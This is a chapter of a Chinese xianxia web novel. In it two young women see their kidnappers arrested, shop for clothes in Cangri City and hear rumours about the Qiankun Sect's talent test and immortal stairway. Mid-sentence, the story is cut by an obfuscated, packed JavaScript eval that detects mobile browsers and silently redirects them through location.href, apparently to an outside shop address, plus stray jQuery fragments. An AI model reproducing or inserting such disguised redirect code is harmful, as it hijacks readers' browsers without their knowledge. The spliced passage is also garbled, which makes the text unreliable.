姬妄与姜玄羽在城里多留了几日,之前的包袱丢了,便要重新购置些换洗衣物,况且两人也需要休整恢复精力。
隔了几日,姬妄再去仙署,却不似上次来时那般,刚到门口便有人来接待,她沿着上次的路线走进正堂,只见一人正坐在那翻看卷轴,姬妄上前问道:“道长,为何今日仙署中人如此稀少?”
那人头也不抬:“前几日出了个大案,如今大部分人手都去埋伏抓人了,仙署中自然不剩几人。”
不会是她们报的那桩吧?
姬妄正想再问,只听门外传来一阵纷杂的脚步声。
她转身看去,为首的正是那日见过的尤道士,他看上去心情不错,一见姬妄,愣了一下,随机走过来:“你可是为了上次那案子的结果而来?”
姬妄点点头,尤道士哈哈大笑:“你来得真是时候,我们守在城墙上的石洞那里,晚上果然有人来取,我们便顺藤摸瓜找到了那伙人的老巢,如今大部分人都已落网,只有些不成气候的小喽啰逃出城,他们逍遥不了多久了。”
姬妄心中一喜,只是……
“那想要返老还童轻信秘术的那帮人呢?”
尤道士勾起的唇角缓缓落下:“这些人一口咬定他们并不知买过来的孩子是拐过来的,只当买了个仆从,也无害人的念头。”
姬妄急急开口:“若我们出面指证呢?”
尤道士道:“你们说的院子,我们去的时候已经什么都不剩了,没有任何证据,况且这些人大都是城里有头有脸的人物,不好将他们押过来,只能让人盯着看他们是否还会有动作。”
姬妄心下失望,却也知此事已成定局,这些人也腾不出手再来找她与姜玄羽的麻烦了,这便是最好的结局。
“我能否见见抓到的那些人?”
尤道士面露为难:“按理是不可以的。”
“我只想确认一下打晕我的那两个人是否在其中,想问他们几句话。”
尤道士纠结良久:“你也是苦主,见一面就见一面吧,只是万不能动手。”
姬妄点头:“保证不动手,只是问两句话。”
过去一看,成大成二果然在其中。
见到姬妄,他们并不意外。
成二恨恨开口:“果然是你,之前在客栈便发觉你不同于常人,没想到最后竟真栽在了你身上。”
姬妄道:“我以为你们是好人。”
“若早知如此,一开始便不帮我们找贼了?”
姬妄摇头:“一码归一码。”
顿了顿,她问:“若一开始便觉得我不是个好欺负的,又为何还要害我?不怕我当真逃出来了报复你们?”
成二道:“事已至此,告诉你也无妨。我们二人是有任务的,却被困在山里近十天,为了赶着最后期限,只能将你们带走。”
姬妄道:“我的包袱呢?”
“扔了,不知现在躺在哪个山沟沟里。”
姬妄不再言语,转身离开。
与她的猜想无异,成大成二二人只是底下的小喽啰,才会出面交易。只是在客栈时已然对这二人放下戒心,一转头却被送上绝路,难免令人唏嘘,这才想最后问一下,也算是给自己付出的信任一个交代。
此间事了,姬妄与姜玄羽便又上路了。
距离乾坤宗只需再穿越三座城池。
好在接下来一路顺风。
“太好了,终于快到了。”
姜玄羽站在山顶,望着远处若隐若现的城池,已经是最后一座城了。
姬妄立于她身旁,同样面上难掩激动之色。
冬去春来,两人在路上度过了一整个冬天。此时身旁的树上已悄悄冒出新芽,正如她们此刻的心情。
一路的颠沛流离,担惊受怕都在此刻得到了安慰。
根据地图,这座城的另一侧便是乾坤宗的入口了,可一眼望去只有白茫茫一片,仿佛蒙上了一层白纱,姬妄按下心中的疑惑,一切都要近前去才能探究。
纵然恨不得立时进入乾坤宗得道成仙,但出于一些仪式感,两人还是决定在城里休整几日,沐浴更衣,早先虽也会在途径的城池里逗留休息,但因着还要赶路,摸爬滚打,衣服被磨得不成样子时才换一身,样式也挑着最简单最方便行动的,如今,胜利近在眼前,自然要好好梳洗收拾一番。
相比秋沐城与临济城,乾坤宗脚下的苍日城更加繁华。
从建筑上便可见一斑,秋沐城与临济城寻常人家的房屋多老旧斑驳,表层的漆掉了一块又一块,露出内层原木本色,只有如姜府一般的富贵人家,家里才显得精致崭新。
苍日城略边缘一点的房屋虽简单但显然未经多少风霜,看得出是有余力余钱修缮的结果,越靠近主街,建筑甚至可以用富丽堂皇来形容。
街上来来往往的,除了苍日城的原住民,更多的是来自各城,来乾坤宗求仙问道的游子。
“本店客房已满,两位客官还请另寻住处。”
“真是不好意思,两位来晚了些,最后一间房已被订走。”
一连碰了好几处壁,姜玄羽不由得沮丧:“不会吧,还想在苍日城玩两天再去乾坤宗,怎么连个住的地方都找不到?”
姬妄安慰她:“无妨,再多看看,这里这么多客栈,偏僻些,或环境略差些也不打紧,只要能住便好。”
几乎走遍了整个苍日城,两人才找到一间有空房间的客栈歇脚。
方才急着找客栈,怕再耽搁就只能露宿街头了,两人只草草路过那些店铺,强撑着目不斜视,放下包袱,两人便迫不及待地开始逛街购物。
“这件衣服好看吗?”
姜玄羽比划着一件浅黄广袖长裙。
姬妄点头:“好看。”
换下方便行动的窄袖袄子,真真让人眼前一亮。
姜玄羽又拿起一件粉色窄袖襦裙递给姬妄:“你试试这件。”
姬妄有些不自在,她从未穿过这样的衣服,在家时穿的多是粗布衣裳,时有磨损还会打补丁,离开家更是怎么方便怎么来,但哪个少年不爱美好的东西呢?
姜玄羽看出她的扭捏,将裙子往她手里一塞,强硬推着她进了帘子后。
等到帘子拉开,姜玄羽抬眼看去。
沉默一会,姜玄羽捂住嘴,眼神发光。
“好了,就买这身!”
姜玄羽单方面决定。
她苦口婆心:“总要多尝试一些才能决定是否喜欢,都没试过便一口否决可不对哦。”
姬妄道:“这么穿总是有点不自在。”
“刚开始总是这样的,就像你之前跟我说的那样,要勇于改变,先迈出第一步。若试过之后实在不喜欢,再换回之前的衣服也可以,总归有过体验了嘛。”
说着,她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033147|194569||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又用手指摩挲一下衣袖:“况且,这布料如此柔软,不比那些粗布穿着舒服?”
姬妄被说动。
两人又试了几件,姜玄羽的眼光一如既往,拣着鲜亮些的颜色试,姬妄则黑色白色彩色试了一圈,小小的姬妄向往着英姿飒爽的大侠,但大侠一般都穿黑色或者白色,因此,她纠结之下,还是选了一件黑色窄袖长袍。
姜玄羽看到时简直恨铁不成钢,好好一小姑娘,怎么老喜欢将自己打扮得老气横秋。只见姬妄实在喜欢,便叹口气,认命地替她付钱。
等到两人拎着大包小包离开这家成衣铺时,天已擦黑。
剩下几日,两人便在苍日城四处溜达,在街头巷尾听到了不少关于乾坤宗的消息。
据说,乾坤宗求道共有两关,第一关,便是天赋测试。
天赋分天地玄黄四阶,每一阶又分上中下三级。
大多数人都没有修仙的天赋,黄阶虽是最差等,来测试的也只有约两成的人能达到,玄阶只有一成,其上的地阶则更为稀少,天阶更是近百年来只有一人。
天赋差些,玄黄二阶可为外门弟子,地阶可为内门弟子,至于天阶,那可不得了,有机会直接被收为掌门或长老的亲传弟子。
当然,这都建立在过了第二关的基础上。
第二关,便是俗称的“登仙阶”。
若有天赋,便可上登仙阶,据说登仙阶尽头便是乾坤宗,只是,有天赋却走不完登仙阶的人比比皆是,对于这些人而言,说是一瞬天堂一瞬地狱也不为过,近在眼前的乾坤宗,又化为泡影。
这登仙阶上究竟有何考验,却没有定数。无论是仙署的道士还是与乾坤宗失之交臂的人皆对此闭口不谈,实在躲不过时,便胡乱敷衍两句,任由大家猜测。
就姬妄与姜玄羽这几天听来的,便有三个广为流传的版本。
其一是这是一条非常长的台阶,通往九重宫阙,许多人走到半路便体力不支,再难前进一步,因而淘汰。
其二是这条路上险象环生,有老虎狮子等野兽围攻,若不敌,便会被赶下来。
关于这一点,姬妄初听到时便提出疑问,若真与猛兽搏斗,既是不敌,又为何完好无损,讲述这一版本的那人振振有词,仙人自有办法令重伤之人恢复如初。
其三便是这条路上迷雾横生,可让人看见心中最为可怕之物,一招不慎,便会迷失在里面,若迷失之后需等道长来救,只是若真被人救出,便也丧失了修仙的资格。
姬妄与姜玄羽听过只当故事,既无定论,便只能闯过那一层才能揭开谜底。
两人吃饱喝足睡好,便在一个天气晴朗的早晨来到了苍日城城门口。
天赋测试也简单,便用手握住一块石头,守在边上的修士便能看出来天赋如何。
几个月的努力便都是为了如今这一刻,说不紧张是不可能的,若是没有天赋,来时还能凭借着一腔热血,一个梦想坚持,可回去时,便只剩下失落与煎熬。
说是为了休整,但姬妄心里清楚,是因为近在眼前之时,她却想逃避,再晚一点吧,万一结局是坏的,也让她先做好心理准备,不至于被一盆凉水兜头浇下来,熄灭心中的火苗。
姜玄羽也存着这样的心思,所以这几日,两人心照不宣,在苍日城消磨,打听消息,只为了做好准备,迎接接下来的生活,或得偿所愿,或灰溜溜地回家。